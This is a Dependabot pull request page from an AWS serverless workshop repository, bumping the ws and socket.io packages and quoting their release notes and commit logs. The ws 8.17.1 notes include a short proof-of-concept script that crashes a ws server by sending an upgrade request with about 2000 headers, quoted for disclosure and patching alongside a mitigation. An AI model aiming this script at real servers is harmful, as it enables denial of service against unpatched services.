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aws-samples / aws-serverless-workshops

Code and walkthrough labs to set up serverless applications for Wild Rydes workshops
http://wildrydes.com
Apache License 2.0
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Bump ws and socket.io in /MultiRegion/2_UI #357

Open dependabot[bot] opened 5 months ago

dependabot[bot] commented 5 months ago

Bumps ws and socket.io. These dependencies needed to be updated together. Updates ws from 8.8.1 to 8.17.1

Release notes

Sourced from ws's releases.

8.17.1

Bug fixes

  • Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;


for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;


for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';

  if (++count === 2000) break;
}



}


headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';


const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});


request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

... (truncated)

Commits
  • 3c56601 [dist] 8.17.1
  • e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
  • 6a00029 [test] Increase code coverage
  • ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
  • b73b118 [dist] 8.17.0
  • 29694a5 [test] Use the highWaterMark variable
  • 934c9d6 [ci] Test on node 22
  • 1817bac [ci] Do not test on node 21
  • 96c9b3d [major] Flip the default value of allowSynchronousEvents (#2221)
  • e5f32c7 [fix] Emit at most one event per event loop iteration (#2218)
  • Additional commits viewable in compare view


Updates socket.io from 4.5.1 to 4.7.5

Release notes

Sourced from socket.io's releases.

4.7.5

Bug Fixes

  • close the adapters when the server is closed (bf64870)
  • remove duplicate pipeline when serving bundle (e426f3e)

Links

4.7.4

Bug Fixes

  • typings: calling io.emit with no arguments incorrectly errored (cb6d2e0), closes #4914

Links

4.7.3

Bug Fixes

  • return the first response when broadcasting to a single socket (#4878) (df8e70f)
  • typings: allow to bind to a non-secure Http2Server (#4853) (8c9ebc3)

Links

4.7.2

Bug Fixes

  • clean up child namespace when client is rejected in middleware (#4773) (0731c0d)
  • webtransport: properly handle WebTransport-only connections (3468a19)
  • webtransport: add proper framing (a306db0)

Links

... (truncated)

Changelog

Sourced from socket.io's changelog.

4.7.5 (2024-03-14)

Bug Fixes

  • close the adapters when the server is closed (bf64870)
  • remove duplicate pipeline when serving bundle (e426f3e)

Dependencies

4.7.4 (2024-01-12)

Bug Fixes

  • typings: calling io.emit with no arguments incorrectly errored (cb6d2e0), closes #4914

Dependencies

4.7.3 (2024-01-03)

Bug Fixes

  • return the first response when broadcasting to a single socket (#4878) (df8e70f)
  • typings: allow to bind to a non-secure Http2Server (#4853) (8c9ebc3)

Dependencies

4.7.2 (2023-08-02)

... (truncated)

Commits
  • 5017681 chore(release): 4.7.5
  • bf64870 fix: close the adapters when the server is closed
  • 748e18c ci: test with older TypeScript version
  • b9ce6a2 refactor: create specific adapter for parent namespaces (#4950)
  • 54dabe5 ci: upgrade to actions/checkout@4 and actions/setup-node@4
  • e426f3e fix: remove duplicate pipeline when serving bundle
  • e36062c docs: update the webtransport example
  • 0bbe8ae docs: only execute the passport middleware once
  • 914a8bd docs: add example with JWT
  • d943c3e docs: update the Passport.js example
  • Additional commits viewable in compare view


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